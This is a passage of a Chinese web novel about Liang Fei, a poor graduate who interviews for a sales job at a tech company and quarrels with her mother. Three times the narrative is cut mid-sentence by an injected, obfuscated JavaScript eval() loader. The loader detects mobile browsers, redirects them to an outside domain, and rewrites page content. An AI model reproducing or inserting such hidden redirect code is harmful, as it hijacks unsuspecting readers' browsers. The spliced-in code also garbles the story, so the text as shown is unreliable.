《女Sales的游戏》 1. 面试 为了这场面试，梁菲买了一件浅蓝衬衣一条白色西裙，做了一周的功课。 从学校过来转了两趟公交车，梁菲扶着公交车门从公交车上下来，她穿得高跟鞋后脚跟有点磨脚，低头看了下脚后跟红了一块，还好没有破皮，从包里掏出手机，有一个未接来电，她没管，打开高德地图输入目的地，步行还有600米，5分钟。 这一带是工业区，两边都是工厂，马路宽阔，划出来两排停车位，停满了车。 春风很大很大，路边的香樟树疯狂洒落枯叶，香樟树街道的春天像极了秋天，落叶在脚下沙沙作响。 梁菲看清路线后收起手机，逆着风忍着后脚跟疼走了几百米看到了这家公司挂在大楼玻璃幕墙上的黑色Logo，DAYUAN，大源科技，大源科技比想象的大，是一个小型campus，围着五栋楼。 梁菲在门卫处登记，把身份证递进窗口，“你好，面试在哪栋楼？” 保安坐在电脑前在公司内部系统上熟练麻木地找到访客信息，看了眼窗口，新鲜稚嫩，过分漂亮的一张脸，一看就是来面试的新人，来了精神嘴角挂上笑，一边在电脑上录入梁菲身份证信息，一边语调轻浮地攀谈：“小姑娘来面试的吧？今天来面试的人可不少。” 梁菲站在窗口看过去，保安室很干净，一张长桌两把人体工学椅，身后有个柜子，墙上挂着空调，电脑前的保安穿着干净整齐的制服，微笑着问道，“嗯，都是面试销售的吗？” 保安在内部系统上找到梁菲的预约单，抬头看了梁菲一眼说：“今天是铁三角部门的校招群面，来了二十几个人。” 梁菲问：“什么是铁三角部门？” 保安略带得意地说：“产品、项目、销售，三个核心作战部门是铁三角部门。” 保安核对完信息把身份证和访客卡从窗户里递出去，三根手指摁着卡没放手，还想继续聊几句，门口走进来一个穿着制服别着对讲机，身型粗壮的保安说：“小李，老毛病又犯了，说这些有的没的东拉西扯干什么，再被人事发现你也别干了。” 小李触电一样收回手放开梁菲身份证和访客卡，转过身梗着脖子叫嚷：“什么老毛病，你说清楚，老板在煎饼摊谈恋爱那事怎么就是我们造谣了，门口等活儿的出租车司机成天蹲在这，长年拉咱公司的人，都快混成咱们内部员工了，公司那点事他们比我们清楚，老板那车谁看不出来是老板，你要想让我滚蛋直接说，不要给我扣帽子。” 造谣那事早调查清楚了，保安室和门口出租车司机一个都跑不了，现在说这些有屁用，粗壮保安不耐烦听他扯淡：“说你一句顶十句，屁话真多，被开除别来跟我啰嗦，赶紧干活。” 小李一脸不服气，转头对窗口外的梁菲说：“最高的那栋楼。” 梁菲说：“谢谢。” 梁菲刷卡进入大源科技的园区，进门后是个大停车场，停着密密麻麻的车，靠近围墙一圈全是充电桩，没有一个停车位空着，最高那栋楼看起来像写字楼，其他楼是四层工业厂房风格，这栋写字楼有六层，全封闭玻璃幕墙，璀璨四射出现代工业的科技感。 梁菲绕过停车场正要从花坛中间的小道进入前厅，身后上来一辆车停在梁菲身边，车主摇下车窗探出头来问：“请问地下停车场怎么走？” 梁菲听到声音，停下脚步侧身看过去，一辆颇高大的车，显得驾驶座的女孩有些娇小，戴着一顶渔夫帽脸上一副墨镜，眉眼全遮住，只露出巴掌大的半张脸，梁菲说：“我是来面试的，不知道怎么走。” 女孩把墨镜推上去架在头顶，“我也是来面试的哎，销售吗？” 梁菲看着这张妆容精致的脸，一身蓝色带条纹面料高级的套装，她下意识地攥紧了手，露出了一个尴尬不失礼貌的微笑，只点点头没说话，视线往下，停留在车轮中间的车标上，盾牌的形状，中间有一批黑色的马。 女孩热情地说：“我叫乔明语，我先去找停车位一会儿见。” 梁菲从花坛小道穿过去进入大厅，大厅左手边是前台，中间一圈沙发和长椅，后面一排会议室，巨大透明的落地玻璃窗，地面一尘不染，非常有艺术感的沙发和长椅，彰显了这家公司的审美和品味。 梁菲在前台电脑上自助登记访客单，她问前台需要打电话给预约人吗，前台说内部系统会通知，让她等等，她找了个位置坐下，先把简历从包里拿出来，她花了不少心思在简历上，简历上的页眉页脚带着大源科技的logo，重点突出了她在大学期间做过一些“销售”兼职，英语高分六级水平，这是一份为面试大源科技专门做的简历。 手机里有信息进来，她打开微信点开头像上的小红点。 「菲菲，你开始准备考研了吗？」 「你姐姐的忌日回家吗？」 梁菲看着这两条信息，深呼吸了一口气，平复下心情，把手机摁静音，这个手机用的时间太久，静音按钮有点失灵，按了好几次才显示静音。 刚把手机收起来，听到有人喊，“梁菲。” 梁菲转头看过去，一位穿着浅灰西装套裙挂着厂牌扎着高马尾的女性站在前台旁边，手里拿着文件，她连忙站起来走过去，“你好，我是梁菲。” “你好，我是HRSue，跟我走吧。” Sue带着梁菲走进去，在一个会议室门口停下，Sue拿出一个文件让梁菲签到，梁菲接过文件，上面有不少候选人的信息，需要签到的信息有学校、专业、英语水平、面试岗位。 在梁菲前面签到的人大多是211/985大学，小部分国外大学，英语写着雅思托福成绩，而梁菲二本，工商管理专业，英语六级。面试岗位有三种，产品、项目、销售，看来那个保安没说错，是这三个部门的校招生群面，有七个人面试销售，加上梁菲就是八个。 梁菲签完字进了一个候场区，已经坐了不少候选人，一眼看过去，剪裁合身的套装，得体优雅的姿态，职业化的气质，扑面而来的名校精英压迫感，梁菲拘谨地找了个角落位置坐下。 这群精英已经在轻声交流，你来自什么学校，什么专业，面试什么岗位，作了哪些面试准备，还去哪里实习过，在哪个辅导机构学托福，实习结束准备去哪里旅游。 梁菲听了几分钟，只觉得谁都比她厉害，开始懊恼来这样的大公司面试，她在一群这样背景的竞争者中就像一只误入天鹅群的丑小鸭，她想不出来自己有什么竞争优势。 昨天为了这场面试花三百多买的一套新衣服，在嘲笑她的寒酸和不自量力，这个候场区像是一个炼丹炉，炙烤着梁菲的自尊心。 梁菲坐立不安，紧紧捏着简历，手心已经微微出汗，把简历边缘洇湿，她作不了任何面试准备，心里非常慌乱，压力很大，这个地方她一分钟都坐不住，只好站起来拿上包走出候场区，走出通道正准备拐弯，听到两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627303|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人在会议室说话，声音有点耳熟。 “Sue姐，今天有几个候选人？” “有二十多个。” “有几个面试官？面试什么内容？这回招几个人？” Sue负责校招，今年公司政策要大幅度提高校招生比例，她忙得头疼，这么多问题，这人还真不客气，谁让人家是关系户，Sue不想得罪人，挤出笑容安慰道：“四对一，这一批销售部门招两个人，大源销售接触的客户圈层高，校招生会直接对话企业一二把手，高管，处级干部，这样的岗位对履历背景，综合素养要求很高，除了这些销售岗最看重的还是赚钱的欲望，吃苦耐劳的性格，这次来的二十多个候选人，只有一个女生是双非本科，你的条件没问题，内部推荐的人会优先录用，咱们今天就是走个流程，别担心。” 听到只招两个人，梁菲的心里压力又大了一些，没想到还有内定，也就是八个人要竞争剩下的一个名额，已经觉得自己可能性不大了，这个女生的声音有点耳熟，脚步声越来越近，来不及多想，梁菲没有再往前走，马上转了个身回候场区，进门后就近找了个椅子坐下。 不一会儿乔明语进来，看到梁菲，自来熟的在旁边椅子坐下，把手里的包随手扔在地上，乔明语说：“Hello，我们又见面了。” 这个声音……原来内定女生是她，梁菲僵硬地扯出笑容说：“你好，地下停车场找到了吗？” 乔明语说：“找到了就在这栋楼右侧，地下停车位也是满的，我停在了角落。” 说完这两句，旁边有候选人进了会议室，梁菲看着人走进去的背影，心里一阵紧张，没有接乔明语的话。 乔明语盯着梁菲看了一会儿说：“你很紧张吗？” 梁菲点点头：“是很紧张，我是普通二本，不知道怎么进的这场面试。” 乔明语转头略带诧异地看她，怎么说呢，梁菲看起来就是好学生的样子，气质很朴素，穿着高跟鞋像小孩穿大人鞋子很不自然，就差标配一副金属细框眼镜，学校这么差怎么进的面试，乔明语心里这么想也没太掩饰，“原来那个二本是你啊，说不定是为了团队的diversity。” 梁菲一愣，被人这么直白地点出来，有点尴尬，又有点无奈：“……” 乔明语笑了，“开玩笑的，美貌就是竞争优势。” 这句是实话，梁菲的五官长得很好，长直发扎起来，两只圆溜溜的杏核眼，笑起来像两个月牙，皮肤白皙，细腻干净，身材也很好。 梁菲顺着话问道：“你知道有个二本来面试？” 乔明语微微一笑坦然道：“对啊，HrSue姐说的，这次来面试只有一个是双非本科，签到本上我前面一个就是你呀，上面有你的本科院校，你能进面试说明你和其他候选人一样优秀。” 梁菲把紧张这件事情说出来后反而没那么紧张了，真心实意地说：“谢谢你的安慰。” 乔明语拿出手机打开二维码说：“不谢，说不定咱俩是同事呢，我们先加个微信吧。” 梁菲也从包里掏出手机，扫了乔明语的二维码，“梁菲。” “乔明语。” 梁菲点了添加到通讯录，“加了，我去下洗手间。” 乔明语看着梁菲走出去的背影，这穿着打扮也太低调了点，身上穿得衬衫领口晃荡，衬衫袖口走线不平整，裙子的腰围有点肥不合身，完全靠颜值撑着。 2. 美人计 梁菲离开等候区在卫生间里呆了很久，她压住心慌，看着镜子里苍白的脸，她打开水龙头用冷水拍了拍，她对自己说，梁菲，至少你进了面试，你已经很棒，没有拿到offer也没关系，这样重复了三遍，逐渐平静下来才走回去等候区。 等候区的候选人陆续进去又出来，梁菲的面试靠后，一般群面在前面的人比较占优势，面试官注意力比较集中，精力充沛，面试者更容易让面试官留下深刻的印象，越往后越疲倦，没有耐心。 梁菲的面试恰好在乔明语后面，乔明语出来她进去，乔明语拍拍她的肩膀说：“加油！面试官挺nice的，别害怕。” 会议室里一排座椅，对面坐着四个面试官，面前的铭牌上写着名字和职位，梁菲进去关上门打了招呼坐下。 “我们看简历的时候你先简单做个自我介绍，好吗？” “好的，没问题，我的名字叫做梁菲，来自浙江永康，南江城市学院应届生，专业是工商管理，拿过4次奖学金，1次国家级奖学金，我在校期间，代理过电话卡的销售，有十几个二级销售，英语六级608分。” “说一件你在大学里遇到最有挑战的事？” “我们学校在南江奥体中心附近，奥体中心夜市有摊位，我们宿舍玩钩针，积攒了很多作品，想在夜市里卖掉，奥体中心的夜市摊位包月很难抢到，我们也不需要包月，我们在学校里召集了四个摊主一人一周，在一个成交摊主那里转包了一个月摊位，前后花了一两个月时间做成了这件事。” “给我们几个给你发offer的理由。” “首先，我对做销售是很坚定的，从大学开始就一直在尝试各种各样赚钱的事情，我很确认我有强烈的赚钱欲望和动机；其次，我非常能熬夜也能出差，可以和各种各样的人打交道，抗压能力很强；最后我很喜欢大源这家公司，也很喜欢南江，打算在南江定居。” “你有什么爱好吗？” 前面的问题梁菲大部分都做了准备，也是她的真实想法，回答得很流畅，到这个问题她停顿了一下，她没有爱好，没有一样拿得出手的爱好和特长，这件事她刚上大学的时候就发现了。 同学在一起讨论报什么社团，街舞，摄影，乐器，画画，或者羽毛球，排球，总有一样会的，她一样都不会，学这些需要时间精力钱，很多同学是童子功，她有时间精力却没钱，她想来想去开始学英语，既不用花钱又实用，也拿得出手。 每天早上六点起床去操场上听英语，冬天早上六点的风太冷，不跑更冷，只能边跑步边听英语，跑步听英语变成了习惯，恰巧当时的英语老师，一个英国人，早上也在操场跑步，碰到就聊几句，她的英语越来越好，四六级考得很顺利。 面对这个问题，梁菲露出胆怯来，“我……我没有什么爱好。” 这个问题之后面试官又问了其他一些问题，问题并不尖锐，比较常规，大部分她回答得很顺利。 梁菲走出会议室后，销售总监李西廷问大家觉得梁菲怎么样。 Sue的上级HRD安娜说：“梁菲其实跟我们典型销售的风格有些差异，性格底色偏内向，有爱好的人比较容易建立社交圈，没有爱好麻烦点。” 李西廷说：“内向也没什么不好，做事情认真严谨，爱好嘛就跟客户多学学。” 项目总监韩致远说：“双非院校不符合我们的招聘要求吧？” 安娜看了一眼李西廷说：“双非院校的简历现在进不了我们的核心岗位简历库，李总那边把这个简历推过来。”韩致远说得是实情，大源科技近几年核心部门已经不招聘双非院校的本科生。 李西廷说：“这份简历前段时间和人事去南大宣讲做校招的时候看到，这个女生到南大来投的简历，你们看页眉页脚上插着大源科技的logo，是个有心人，有心是个好的开始，做销售有心很重要，我没有把简历筛选掉，大型项目销售需要团队作战，大家一起看。” 韩致远瞥了一眼李西廷，这人总想自己搞一套，他收回视线看着简历说：“我们也不是唯学历论，只不过这么多年招聘下来，大数据已经说明双非院校的学生综合素质上会落后一些，这条标准是经过检验，形成共识的，李总是想降低标准吗？” 安娜微微笑了，项目总监韩致远和销售总监李西廷两个人向来不对付，韩致远认为客户签单很大原因在项目运营和交付能力，项目部对公司销售业绩贡献更大，尤其是重复购买的客户，项目运营交付做得好，客户不会轻易换供应商，销售就可以很容易拿到这个客户的下一个订单，重复购买的订单比例越高，越指向项目部对业绩的贡献大，大项目负责人却一直是销售部门，项目部不受重视，没有对项目的控制权。 韩致远说这些已经不是梁菲这张简历本身，而是在质疑李西廷任凭个人喜好破坏公司核心岗位多年沉淀下来的用人标准，李西廷要适当放宽硬性标准，这个事情对招聘部门不算坏事，安娜拿起杯子喝了一口水，安心地看李西廷怎么应对。 李西廷面色紧绷，这个韩致远，总自以为自己对公司业绩贡献更大，对销售部做大项目负责人不以为然，心有不甘，天天盯着销售部，等着揪销售部的错处，一点小事就开始上纲上线，什么招聘标准，活人还能让尿憋死，什么样的人是好销售是几条硬性标准能定出来的吗？ 李西廷不跟韩致远在招聘标准上纠缠就说了一条，“安娜，梁菲就算在销售部内部推荐的名额上。” 这句话已经定了李西廷想用梁菲的基调，安娜画得细细的眉毛扬起，嘴角带笑，“李总很看好这个梁菲啊，今年的大目标是提高校招生比例，用人单位有在用人上有推荐权。” 产品总监刘卓尔是个技术大咖也是端水大师，冷眼旁观项目部和销售部的明争暗斗，闻言回到梁菲的简历上说：“梁菲本科院校确实差了点，逻辑思维，英语水平，表达能力还是达到我们招人门槛的，女孩长得挺好看，这样的女孩受到的诱惑多，人还挺踏实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627304|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴素，主动性强，能干活，我觉得很难得。” 李西廷要用内部推荐名额，韩致远也没话说，“长得好看还是很重要，长得好看客户喜欢，客户一喜欢单子就给你了，就是这个形象气质李总要好好带一带，把销售部那套什么级别对应什么装备，配什么表，开什么车，穿什么衣服给她好好培训，人靠衣装佛靠金装。” 韩致远幸灾乐祸地想李西廷的销售部一帮老爷们，也不知道怎么开窍了要招女销售，李西廷最烦碰上要用真才实干和女销售的美人计比拼，可能是FSK项目上受了刺激，这个项目竞争对手那边女销售带队。 刘卓尔说得对，长得好看还能踏实干活的女孩，不知道怎么利用女性优势，也不会走捷径，典型的苦孩子，当不了交际花，使不了美人计，李西廷要是想用梁菲去使美人计是看错人咯，等着看好戏吧。 李西廷说：“刚才那个乔明语是我们总代罗总那边推荐过来的？” 安娜说：“罗总热心，说是朋友家孩子。” 韩致远听到这话笑了，“都是罗总的好妹妹吧，罗总到底是咱老板的好兄弟，最关心老板的终生大事。” 这一说大家都笑了，谁都知道罗总是周老板的大学同学，这几年没少给大源科技推荐人，都是美女，各种各样的美女，罗总风流潇洒，倒不忘和老同学有福同享，可惜周老板不领情。 安娜心想何止罗总，她不知道挡了多少人打听周老板，谁让老板单身，就说老板单身这事给人事部增加了多少工作量，上次老板深夜下班在门口煎饼摊吃煎饼碰到来送货的供应商老板娘，多聊了几句，到处都在传老板谈恋爱了，说得有鼻子有眼，传到老板耳朵里，把人事和行政叫过去骂了一顿，人事和行政连夜调查清楚事情始末，更新发布了信息安全保密措施，在公司大门口部署了监控，宣导所有员工禁止在门口出租车上打工作电话，对外部人员交流必须谨慎选择措辞，避免敏感信息泄漏。 安娜说：“大家觉得乔明语怎么样？” 李西廷眉毛一动，罗景然最近因为FSK这个案子从代理转到直销，恨不得吃了直销团队，两边闹得很僵，还给他送人头，这安的是什么心，不管安什么心，就凭罗景然在大源科技的根基，人送过来还得接着，心里腹诽面上不显，轻描淡写道：“罗总看中的人错不了。” 韩致远似笑非笑道：“销售部这回一口气招了两名女销售，也算是重大突破了，男女搭配干活不累，今年的业绩不用愁了。” 话是这样说心里的想是草根背景的李西廷也培养不出来交际花型的销售人才，那个乔明语倒是个能言善道的就是有点大小姐脾气锋芒毕露型，又是罗总的人，李西廷能放心用？这两个人都够李西廷头疼的。 李西廷说：“借韩总吉言。” 安娜把手里的笔盖上笔帽，收起桌上的简历，起身说：“名额定下来，我把简历给老板发过去，再走内部流程，老板很关注校招策略的执行情况，尤其是大客户销售部门。” 3. 初遇 等候区已经空无一人，梁菲从面试的会议室出来穿过候场区，正准备拐到大厅，从旁边通道里走出来一群人，梁菲慢下脚步让路，一眼扫过去这群人穿着衬衫牛仔裤背着黑色电脑包，电脑包上有大源科技的logo。 细看走在最前面两个人没背电脑包，一个穿得比较正式，西装三件套，戴着腕表，非常精英高级的着装和风格。 另外一个穿得简约，白色T恤深灰色休闲裤，接近毛寸的短发，一身素净，肩膀宽阔，身材健壮，跟温文儒雅不沾边，气场很强。 看得出来这两个人不是高管就是老板，习惯了站在人群的C位。 梁菲等这群人走出去才从大厅走出来，把访客牌还给门卫室，出了大源科技的园区站在路边，已经下午四点半，路边摆出来的小吃摊的香味飘过来，有很多带着安全帽的建筑工人，附近可能有工地在施工，门口停着不少网约车。 梁菲站在路边拿出手机先给家里打了个电话。 何香琴今天调休要不然她接不到这个电话，她等这个电话等得着急，接得很快，“菲菲，你在忙什么？” 梁菲说：“妈，我刚出来，在一个大公司面试销售。” 何香亲听到这话语调就不自觉变高，“不是说了让你去考研，不要担心钱的问题，你为什么就不听呢？” 梁菲说：“我想早点工作赚钱。” 何香琴说：“你起码有研究生的身份再考虑工作，考公考编总好过在私企里做销售，做销售能做多久，这工作不稳定，女孩子做销售太辛苦，你不要担心钱只管继续读书。” 梁菲听到这里捏紧了手机也提高了声调，“什么不要担心钱，就靠你没日没夜在工厂里上班吗？我不是梁芸，读书考试没天赋，梁芸能读到博士，我读不了，你不要把我当成梁芸。” 何香琴一听这话，眼泪一下子流出来，“你现在翅膀硬了不把妈妈的话当回事是不是？你姐要是还在的话我也不管你要不要继续读下去。” 梁菲讨厌听到何香琴说这些，她不可以有自己的想法吗？她不能早点为家里分担经济压力吗？为什么总是要拿梁芸跟她比较？要是不幸意外的是她何香琴就没那么伤心了吧？何香琴这些话在她心里就像一颗石子掉在水面上，激发了无数的涟漪，说出来的话也不管不顾，“你向来更喜欢姐姐，姐姐也比我优秀，我宁愿出车祸的人是我，这样我们就都不伤心了，你有一个让你骄傲的博士女儿就够了。” 何香琴被梁菲顶得一句话都说不出来，心里闷闷得疼，眼泪止都止不住，她无数次问过老天爷，为什么是梁芸？为什么要带走梁芸？ 再过几天就是梁芸的忌日，她的大女儿，从小贴心懂事，成绩优秀，高考全市第一的成绩去了北京最好的大学。 她心疼梁芸，更心疼梁菲，梁菲高三，学业生涯最关键的一年家里出了大事，梁芸意外出车祸，当场身亡，何香琴去北京料理了后事，回来就病倒了，梁菲既要照顾家里又要上学，中间还休学了两个月，成绩出来考了公办二本，也不肯去复读。 何香琴说：“我管不了你，随便你想做什么。” 挂了电话，梁菲蹲在地上哭了一会儿，气话说出口又开始后悔，刚才那些话明明没有一句话是她想说的，何香琴在一个国企的工厂里上班，这么大年纪还要上晚班。 前段时间何香琴跟她说舅舅摔断了腿，舅妈和表哥上班没时间，让何香琴去照顾，何香琴上夜班，白天还得去舅舅家做两顿饭，梁菲气得跟何香琴大吵了一架。 仔细想想最近几个月，梁菲和何香琴的电话，几乎每一个都是不愉快结尾，她也不想这样，却又变成这样，她告诉自己不能再这样，过几天回家一趟，一定要和何香琴好好说话，不能再让妈妈伤心。 梁菲擦干眼泪站起来，去附近摊位买了个煎饼，加了一根香肠一个鸡蛋，快速吃完，脚后跟的皮已经磨破了，她在软件上叫了个车，车就在旁边停着。 上车后师傅说：“小姑娘来面试啊。 梁菲说：“是啊。” 师傅说：“你刚才吃得那个煎饼，这个公司老板有时候也去吃。” 梁菲说：“这么大老板还去吃煎饼？” 师傅说：“瞧你说的，大老板也是人，当然能吃。” 梁菲说：“师傅说得有道理。” 师傅说：“前两天老板带女朋友来一起吃煎饼呢。” 梁菲说：“师傅，这你都知道？” 师傅说：“这公司大呀，好几千人，我们主要做这家公司生意，天天在门口蹲着啥不知道。” 梁菲和师傅聊了一路，从师傅这知道了老板很年轻，学历很高，单身未婚，晚上经常走得很晚，车是迈巴赫S600。 梁菲听到这觉得不太对劲，刚不是说和女朋友一起来吃煎饼，这还算单身，师傅说这种有钱人只要没结婚都算单身，梁菲无语。 打车回到学校，大源科技离学校太远了，要是她拿到offer，还要去公司附近租个房子。 刚回到宿舍，室友朱谨言转过身来问她：“面试顺利吗？” 梁菲说：“面试的题目我基本上准备到了，面试官也没有问很尖锐的问题，还挺温和的。” 朱谨言把手机递给梁菲，“我们报名考驾照，我妈找的地方，价格也谈好了。” 梁菲接过朱谨言的手机，上下翻动看界面上的驾校信息，梁菲盘算着手里剩下的钱，还要租房，南江租房交三押一，再付中介费，她没那么多钱。 梁菲只好说：“你们报名吧，我先不报了。” 朱谨言说：“那我们先去，还不错的话你再去。” 梁菲把手机还给她，拿出自己的手机，在手机上买了回家的火车票，买的最慢的那一班，最慢的那班车票便宜，先坐高铁，再转两趟车回到小镇。 永康镇不大也不起眼，五金件产业链集群地，在这里可以找到几乎所有现代工业需要用到的五金配件。 梁菲到家何香琴还没回来，梁菲把行李箱一放衣服也没脱，躺在床上沉沉睡去，再次醒来天已经完全黑了，房间门没关严实，客厅里的光从缝隙里漏进来。 这个房间跟小时候一样，两张床，粉色床单是她的，蓝色床单是梁芸的，梁芸床上还放着一只旧旧的白色小熊，梁芸考上市一中的时候何香琴买的，这只小熊陪着梁芸去了北京，又从北京回来。 梁菲每次回家，两张床上都是整齐的四件套，就像……梁芸也要回家。 梁菲起床开门出去，何香琴在厨房里做饭，梁菲站在厨房门口，何香琴下午去采了槐花，做了一道槐花炒蛋，这道菜梁芸爱吃，她先盛出来一小碗放在窗台上，回身才看到梁菲。 “起床啦，饿了吧？吃饭，今天做了你爱吃的红烧肉，葱油蚕豆。” 梁菲接过何香琴盛好的槐花炒蛋放到餐桌上，一共四个菜，红烧肉，葱油蚕豆，槐花炒蛋，牛肉圆子，梁菲说：“妈，这么多菜咱俩也吃不完。” 何香琴把脖子上的围裙摘下来搓搓手说：“多吃点。” 梁菲去盛饭，何香琴做的牛肉圆子是独家配方，牛肉，豆腐、葱，加上红薯粉，搓成圆子，放在锅上蒸，牛肉何香琴一大早去工厂旁边的农户买的黄牛肉，很香的牛肉味，配上软嫩的豆腐，这是家的味道。 梁菲吃了两个牛肉圆子才开始吃饭，“舅舅的腿好点了吗？” 前两天刚因为这个话题吵架，何香琴拿筷子的手顿了顿，“好多了，我就中午过去做一顿饭。” 梁菲说：“舅舅腿受伤又不是手受伤，为什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627305|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去做饭，不能点外卖吗？” 何香琴说：“去做顿饭又不费什么事，咱这点外卖哪有大城市方便，那是你长辈，有你这么说话的吗？你回家工作我还指望你舅舅照顾你，你表哥今年升主任了。” 不费什么事是何香琴的口头禅，舅舅家请客何香琴去做饭，舅舅家杨梅熟了去摘杨梅，外婆身体不好那几年全是何香琴贴身伺候。 梁菲听到这里没控制住脾气，“我不会回家工作，难道你忘了当年你为什么没有读大学，为什么会嫁给爸，他们一家子都是好单位工作忙，这么多年，家里出苦力的大事小事哪件事不是你在忙前忙后，舅舅还嫌你这做得不细致那做得不妥当，舅妈从来没有好脸色，他们升官发财死人跟我没关系，我没有指望过他们。” 外公去世的早，弥留之际嘱咐舅舅再苦再累也要让何香琴上大学，舅舅没有信守承诺，何香琴读完高中进了国企下属工厂，舅舅娶了舅妈，表哥没人带，给何香琴介绍的对象只有一个共同点，住的不远，何香琴结婚后带了三年表哥。 何香琴气得扔下筷子，劈头盖脸大骂，“你知道什么？你爸爸去世得早，我带着你们姐妹俩要不是你舅舅帮忙安排工作，你们的学费我都交不起，家里一个男人没有，要不是看在你舅舅的面子上邻居能客客气气？舅舅再怎么样也是一家人，多干点活能费什么事，你在大公司干活不用看老板脸色？你在外面受了欺负谁帮你？我这么做还不是为了你，你说这些一点良心都没有。” 梁菲说：“你放心，我这辈子都不会回来工作，你不要为了我，我不要你这样低声下气。” 何香琴说：“现在这个家还指望不上你就开始六亲不认了，好啊，你走，你现在就走。” 梁菲抿着唇，眼泪在眼眶里打转，扔下筷子，哗啦一下站起来，去房间拿上包冲出家门，啪一声门被关上，楼道里的声控灯亮起来，梁菲抱着包，背靠着门蹲下来，脑袋埋在包上。 想起来上一次寒假回家趁阳光好，在楼下支起架子晒棉被，她下午去收棉被的时候，棉被湿哒哒的滴着水，她要去查监控，何香琴拉住她，让她不要惹事，棉被湿了就再晒，不费什么事。 不费什么事，这句话像阴雨天被淋湿得衣服，湿漉漉的贴在身上，又像一团棉花堵在梁菲心里，堵得哪哪都憋屈，浑身长满了嘴却没地方说。 她不该和何香琴说这么重的话，何香琴已经尽力，家里条件不好，何香琴只有高中学历，一直很支持两个女儿读书，希望两个女儿都可以读书读到不能再读为止，何香琴的愿望很朴素，讨好舅舅攒下的这份人情有一天需要的时候能帮梁菲一把。 做人最怕对别人有幻想，有了幻想就开始无底线退让。 她心疼何香琴，从她有记忆开始，爸爸就身体不好，瘦弱多病，家里的重活都是何香琴干的，爷爷奶奶去世得早，何香琴又要上班又要带孩子还要照顾老公，时不时还要去舅舅家帮忙。 何香琴头发白得很早，小学梁菲就开始给何香琴拔白头发，到梁菲初中，41岁的何香琴头发已经白了一半，都是这么多年累出来的，后来家里接二连三的大变故，何香琴看起来比同龄人老了一辈。 梁菲只能怪自己，怪自己成绩不好没考上重点大学，怪自己没有能力让何香琴放心，不要指望舅舅照顾。 楼道里的声控灯忽然亮起来，梁菲身后的门突然被打开，梁菲靠着门身体没有着落点猝不及防往后倒了一下，用手撑着地，惊呼了一声，和何香琴四目相对。 玄关的灯在何香琴的头顶，何香琴的头发染的深栗色，短发微卷，发根白色部分有点长，梁菲说：“妈，你要去补染头发了，这次的颜色好看。” 何香琴点点头说：“你陪我去吧。” 梁菲说：“好。” 4. 饭局 梁菲去厨房洗碗，窗台上还放着那碗槐花，梁菲先把槐花炒蛋装在保鲜盒放放进冰箱。 何香琴擦完桌子站在厨房门口和梁菲聊天，“面试结果出来了吗？” 梁菲说：“还没。” 梁父去世的早，何香琴对两个女儿的教育从小就是要独立，坚强，上进，两个孩子其实都是坚韧的性子，何香琴说：“你从小是个要强的性格，你爸爸去世的早，社会上的道理没人教你，你寒暑假回来舅舅带你去饭局你还百般不愿意，你做销售就不用去饭局了，客户让你喝酒你喝不喝？” 梁菲说：“舅舅带我去的饭局一帮中年人喝酒吹牛，一点用都没有，要是喝酒能卖出去东西我就喝。” 何香琴说：“做销售需要人脉关系，不管什么关系，一回生二回熟，舅舅让你去认识的人，现在用不上将来不一定用不上，等到用上再去攀关系哪里来得及，就算攀不上关系你也能学学饭局商务礼仪，对你总没有坏处。” 梁菲说：“妈你真放心让我跟着舅舅去饭局。” 何香琴说：“亲舅舅还能害你？舅舅说了晚上的饭局有南江市的企业家，你跟着去吃饭。” 梁菲跟舅舅去的饭局，在饭局上舅舅的职位最低，一直陪着喝酒活跃气氛，大家都穿得光鲜亮丽，说着奉承话，像一群穿了衣服的猴子给猴王敬桃子。 梁菲看到舅舅这一面很难受，每次去都强忍着不舒服，更难受的是舅舅安排她坐在三陪的位置，主宾旁边，美其名曰介绍她认识大老板。 梁菲也加过这些老板的微信，大学期间有一个老板说正好在南江约她见面，她说有什么事，老板说他最近生意不好，大师说最好包养一个处女来转运，问她有没有同学可以介绍，梁菲恶心坏了，一种极度愤怒和不屑的情绪在她心里熊熊燃烧，马上删了这个老板的微信。 删掉微信之后，胸口还是像压着一块大石头，又把其他在饭局上加的老板全部从微信里清理出去，这是梁菲第一次开始怀疑舅舅频繁邀请她参加饭局的用心，也是第一次认真思考毕业后不回永康，舅舅会想不到这些事吗？真的有必要去见识这些吗？参加这些饭局有什么用？ 她没有答案，这件事也没有告诉何香琴，她下意识觉得何香琴的反应不会是她希望的反应，她不能从何香琴那里得到帮助，平白给何香琴添烦恼，何香琴向来听舅舅的话，这件事情说出来，舅舅也不会承认他让梁菲参加饭局有问题，只会指责她处事不周到，不会灵活处理，她也觉得碰到这样的事是羞耻的，这种羞耻感扼住了她的喉咙。 